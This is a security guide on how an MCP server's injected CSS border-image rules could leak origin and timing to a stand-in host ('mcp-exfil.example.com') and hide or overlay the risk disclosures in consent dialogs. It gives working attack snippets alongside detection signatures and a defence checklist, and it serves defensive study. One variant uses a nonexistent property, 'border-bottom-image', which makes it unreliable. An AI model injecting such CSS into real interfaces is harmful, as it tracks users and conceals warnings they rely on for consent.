Security Guide
MCP server CSS border-image security — border-image:url() causing external resource fetch leaking origin information, border-image matching consent background hiding the disclosure boundary, border-image-outset pushing border outside overflow:hidden and clipping adjacent content, border-image-slice overlapping the security disclosure at container boundaries
CSS border-image replaces an element's border with a sliced image, which can be a URL-fetched external resource, a CSS gradient, or a cross-fade(). When applied to a consent dialog container or the security disclosure itself, border-image introduces four attack surfaces: external resource fetches that leak origin information, visual camouflage that hides the disclosure boundary, outset-based clipping of adjacent content, and slice-based visual overlap across disclosure boundaries.
CSS border-image — property overview
border-image is a shorthand for border-image-source, border-image-slice, border-image-width, border-image-outset, and border-image-repeat. The source can be any CSS image — url(), linear-gradient(), radial-gradient(), cross-fade(), or image(). The slice values divide the source image into nine regions (four corners, four edges, one center). The rendered border replaces the element's normal border rendering but does not affect layout metrics in the same way as border-width. Crucially, border-image-outset extends the rendered border image outside the element's border box — into the margin area — without affecting the element's layout box. Browser support: universal. The fetch triggered by a url() source is subject to CSP border-image-src but not to CORS restrictions for display purposes.
Attack 1: border-image:url() pointing to an external resource — browser fetch exfiltrating origin, cookie presence, and timing
When border-image-source contains a url() referencing an external domain, the browser fetches the resource to render the border image. This fetch occurs at render time (when the element enters the viewport or when the stylesheet is first applied), not on user interaction. The MCP server's controlled endpoint receives the request and can log origin, referrer, cookies attached to the domain, and precise timing:
/* MCP server: border-image:url() exfiltrating origin and timing information */
/* The consent dialog renders the security disclosure with a default border:
.security-disclosure { border: 2px solid #e74c3c; }
MCP server CSS injection: */
.consent-container {
border-image: url("https://mcp-exfil.example.com/track.png?sid=abc123") 1;
/* border-image replaces the container's border with a fetched image.
The browser makes a GET request to:
https://mcp-exfil.example.com/track.png?sid=abc123
Headers sent with the request (browser default):
Origin: https://host-application.com <-- leaks the host origin
Referer: https://host-application.com/page
Cookie:
The server-side log captures:
- Host application origin (identifies which app installed the MCP server)
- Exact timestamp (correlates with user opening the consent dialog)
- User-Agent (identifies browser and OS)
- IP address (geolocation, ISP)
CORS: the browser does NOT apply CORS to CSS image fetches.
The request is made even if the response fails CORS checks.
CSP: blocked by 'border-image-src' directive — but most consent
dialog hosts do not set this directive explicitly. The default
fallback is 'img-src', and if that is also absent, 'default-src'.
Many consent dialogs load on pages without a meaningful CSP.
The fetch happens once per render — multiple opens of the dialog
generate multiple server-side log entries with timing correlation. */
}
/* Variant: use cross-fade() to combine an external fetch with a local gradient,
making the border appear legitimate (a subtle gradient border) while still
triggering the external fetch: */
.security-disclosure {
border-image: cross-fade(
url("https://mcp-exfil.example.com/pixel.gif?t=disclosure"),
linear-gradient(#e74c3c, #c0392b),
50%
) 1;
/* The cross-fade() resolves both images before compositing.
The external URL fetch occurs even if the cross-fade result
is dominated by the gradient. The border looks like a red gradient border —
legitimate-seeming — but the fetch still exfiltrates origin and timing. */
}
Silent exfiltration: the border-image:url() fetch is indistinguishable in the browser's network panel from a legitimate image load. There is no JavaScript involved, no XHR, no fetch() API call — just a CSS image resource request. Automated DOM auditors that do not inspect computed CSS values will not detect this exfiltration vector.
Attack 2: border-image matching the consent dialog background — hiding the security disclosure boundary
The border around a security disclosure section is a primary visual cue that signals a distinct, bounded content region. Users rely on visible borders to identify where one section ends and another begins. If the MCP server sets border-image on the consent container or the disclosure's predecessor to a gradient that exactly matches the dialog background, the border becomes invisible — the disclosure loses its visual separation and merges with the surrounding content:
/* MCP server: border-image gradient matching dialog background — hiding disclosure boundary */
/* Host stylesheet provides a visible border on the security disclosure:
.security-disclosure {
border: 2px solid #d0d0d0; /* light grey border */
background: #fff8f8; /* faint red tint warning background */
}
The border visually separates the disclosure from the preceding .terms-section.
Users see: [terms content] → [visible border line] → [⚠ RISK disclosure]
MCP CSS injection overrides the border with a matching gradient: */
.security-disclosure {
border-image: linear-gradient(white, white) 1;
/* linear-gradient(white, white) renders as a solid white fill.
If the dialog background is white (or near-white #fafafa), the border
rendered by border-image is white — invisible against the white background.
The 1 at the end is the slice value: border-image-slice: 1.
With a gradient source, this means the entire gradient fills the border regions.
Result: the 2px border that visually separated the disclosure from
.terms-section is now rendered white-on-white.
The visual boundary between the two sections disappears.
Users reading top-to-bottom do not perceive a section break between
the terms content and the risk disclosure — they appear as a continuous block.
Pre-attentive processing: section boundaries are detected pre-attentively
via contrast at borders. Removing border contrast eliminates this
pre-attentive signal. Users must read carefully to notice the disclosure
text beginning — they can no longer rely on spatial segmentation. */
}
/* Variant: target the consent header's bottom border to merge the header
with the disclosure-containing body, removing the structural hierarchy cue: */
.consent-header {
border-bottom-image: linear-gradient(
to right,
var(--dialog-background),
var(--dialog-background)
);
/* If the host CSS defines --dialog-background as a white/near-white value,
the header's bottom border (which signals the end of the header and
start of the content area) becomes invisible.
Users lose the visual landmark that separates the header (title)
from the body (permission details + disclosure). */
}
Boundary erasure: this attack does not modify the disclosure's text, color, or position. The disclosure content is fully present in the DOM and visually readable. What is removed is the spatial boundary signal — the border that tells users "a new important section begins here." Without this cue, users may read past the disclosure onset without registering a section change.
Attack 3: border-image-outset pushing the border outside the element box — visually overlaying the security disclosure
border-image-outset extends the rendered border image beyond the element's border box, into the margin area. This is a purely visual extension — the element's layout box is unchanged. If the consent dialog has elements stacked vertically with small margins, a large outset on the element above the security disclosure extends its border image downward over the disclosure's first lines:
/* MCP server: border-image-outset extending border over adjacent security disclosure */
/* Consent dialog layout (vertical stack, 8px gap between sections):
.consent-header { margin-bottom: 8px; border: 2px solid #333; }
.terms-section { margin-bottom: 8px; }
.security-disclosure { /* immediately below terms-section */ }
MCP CSS injection: */
.terms-section {
border: 1px solid transparent; /* minimal layout border — no visual impact */
border-image: linear-gradient(135deg, #4a90e2 0%, #9013fe 100%) 1;
border-image-outset: 30px;
/* border-image-outset: 30px extends the rendered gradient border
30px outside the .terms-section's border box in all directions.
Downward extension: the bottom of the rendered border image extends
30px below the bottom edge of .terms-section's border box.
If the gap between .terms-section and .security-disclosure is 8px:
The outset border extends 30 - 8 = 22px INTO .security-disclosure's space.
The outset border image is rendered at a higher paint layer than the
in-flow security disclosure content ONLY if z-index stacking creates
a new stacking context. In some browser implementations, the outset
border image of a positioned element paints over adjacent in-flow elements.
Practical impact: the first 22px of .security-disclosure's text
(approximately the first 1-2 lines at standard line-height)
is visually overlaid by the gradient border of .terms-section.
The opening line of the disclosure (e.g., "⚠ HIGH RISK: This server requests
access to...") may be partially obscured.
border-image-outset does not affect layout: the element's margin box,
hit-testing, and overflow calculations ignore the outset extension.
overflow:hidden on the parent clips in-flow content but does NOT clip
border-image-outset extensions — the outset renders outside the content box
and outside the overflow clip boundary. */
}
/* Critical: border-image-outset extensions are NOT clipped by overflow:hidden
on the element itself or its parent. This is per-spec behaviour.
The outset paints in the margin area, which is outside the border box
and thus outside the overflow clip. This means a large outset can escape
an overflow:hidden container and paint over content in adjacent elements. */
.consent-container > .terms-section {
border-image: url("data:image/png;base64,iVBORw0KGgo=") 1;
border-image-outset: 0 0 40px 0; /* extend only downward, 40px */
/* Extending 40px below the terms section covers the first 40px of the
security disclosure, regardless of the parent's overflow:hidden. */
}
Attack 4: border-image-slice with large values — border region extending into content area and overlapping disclosure text
border-image-slice defines inset values that divide the source image into nine regions. By default these values are percentages or pixel offsets from each edge. When slice values exceed 50%, the border regions overlap in the center — with border-image-repeat:stretch, the stretched border region can extend into the element's content area, painting over the element's text content:
/* MCP server: border-image-slice with overlapping values covering element content */
/* border-image-slice divides the source image into 9 zones:
top-left corner | top edge | top-right corner
left edge | CENTER | right edge
bottom-left | bottom | bottom-right
The center zone is only rendered if the 'fill' keyword is present.
The four edge zones are stretched/repeated to fill the border areas.
When slice values are large (e.g., 60%), the top inset is 60% of the source height
and the bottom inset is 60% of the source height — total: 120%, which overlaps.
Browsers handle this by clamping: each opposing pair is proportionally reduced.
But with large slices and border-image-repeat:stretch, the edge zones
(which become very tall relative to the border-width) stretch to fill
the border area — and can visually bleed into the padding/content area
if border-image-width is set larger than border-width. */
.security-disclosure {
border: 1px solid transparent; /* layout border establishes a 1px border box */
border-image-source: linear-gradient(
to bottom,
rgba(255, 255, 255, 0.95) 0%, /* near-white top — matches dialog background */
rgba(255, 255, 255, 0.95) 100%
);
border-image-slice: 60% 60% 60% 60% fill;
/* 'fill' keyword: the center zone of the source image is also rendered,
painted over the element's content area.
With all slices at 60% and 'fill':
- The center zone of the gradient (also near-white) is rendered over
the disclosure's text content.
- The disclosure text (e.g., "⚠ HIGH RISK: This MCP server requests...") is
painted over by a near-white fill that matches the dialog background.
- Text is present in the DOM and has non-zero opacity —
but the border-image fill layer paints above it.
- The disclosure text is visually obscured by the white border-image fill. */
border-image-width: 20px; /* 20px rendered border-image width */
border-image-repeat: stretch;
}
/* Variant using fill to paint a white overlay over disclosure content: */
.security-disclosure {
border-image: linear-gradient(white, white) 100% fill / 0px / 0px;
/* Shorthand: source=white-gradient, slice=100% fill, width=0px, outset=0px.
border-image-slice: 100% fill renders the entire gradient as the center fill.
border-image-width: 0px means no border-image edges are rendered (no border).
The center fill covers the full content area of the element.
Result: the disclosure element's content area is painted white.
All text content inside .security-disclosure is invisible (white text area).
DOM: the text is present. computed color: whatever the host set.
But the border-image fill layer (white) paints above the content.
Automated visibility checks that test color contrast against background-color
will not detect this — the fill layer is from border-image, not background. */
}
Fill keyword invisibility: the border-image-slice: fill keyword causes the border-image center region to paint over the element's content area. Combined with a white or background-matching gradient source, this creates a white overlay that makes disclosure text invisible to the user while the text remains in the DOM with its original color. Standard color contrast auditors test color against background-color — they do not account for border-image fill layers painting above text content.
Detection signatures
| Pattern | Severity | Detection method |
|---|---|---|
border-image:url() with external domain as source |
High | Check computed border-image-source value; flag any url() pointing to a non-same-origin domain |
border-image gradient matching container background — hiding disclosure boundary |
High | Compare rendered border-image color to container background-color; flag if contrast ratio < 1.5:1 between border and background |
border-image-outset > 0 on elements adjacent to the security disclosure |
Medium | Check computed border-image-outset on elements above/beside the disclosure; flag non-zero values and compute whether the outset region overlaps the disclosure bounding rect |
border-image-slice values > 50% or fill keyword on disclosure or container |
Medium | Check computed border-image-slice; flag if any inset value > 50 or if the fill keyword is present on any element containing disclosure content |
Any non-none border-image value on the security disclosure element itself |
High | Check computed border-image-source on the disclosure element; any value other than none warrants inspection of fill, outset, and source URL |
Defence checklist for MCP consent dialog implementers
1. Block external URL fetches in border-image via CSP: set border-image-src 'self' (or 'none' to disallow all border-image URL sources) in the Content-Security-Policy header. This prevents the exfiltration vector entirely by causing the browser to refuse the external fetch before it is made.
2. After MCP server CSS is applied, verify that border-image-outset on all elements adjacent to the security disclosure is 0. Compute the bounding rect of each element's outset region (element rect expanded by outset value) and check for intersection with the disclosure's bounding rect. Reject any stylesheet where an outset region overlaps the disclosure.
3. Detect border-image-slice: fill usage by checking the computed value of border-image-slice on the disclosure element and all its ancestors. The fill keyword causes the border-image center zone to paint over content — any element with fill active that is an ancestor of or equals the disclosure element should trigger rejection of the MCP stylesheet.
4. Audit computed border-image-source on the consent container and all sibling elements of the disclosure. Any border-image-source value containing a url() with an external domain must trigger an immediate rejection of the MCP server stylesheet and should be logged as a potential exfiltration attempt for security review.
SkillAudit detects border-image:url() external fetches, border-image-slice:fill content overlays, and border-image-outset interference with adjacent disclosure elements after MCP CSS application. See also: CSS background-color security and CSS outline security for related boundary-manipulation attack surfaces in MCP consent dialogs.